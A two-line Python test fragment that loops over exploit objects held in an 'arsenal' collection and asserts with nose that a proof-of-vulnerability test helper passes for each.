    for exploit in arsenal.register_setters:
        nose.tools.assert_true(_do_pov_test(exploit))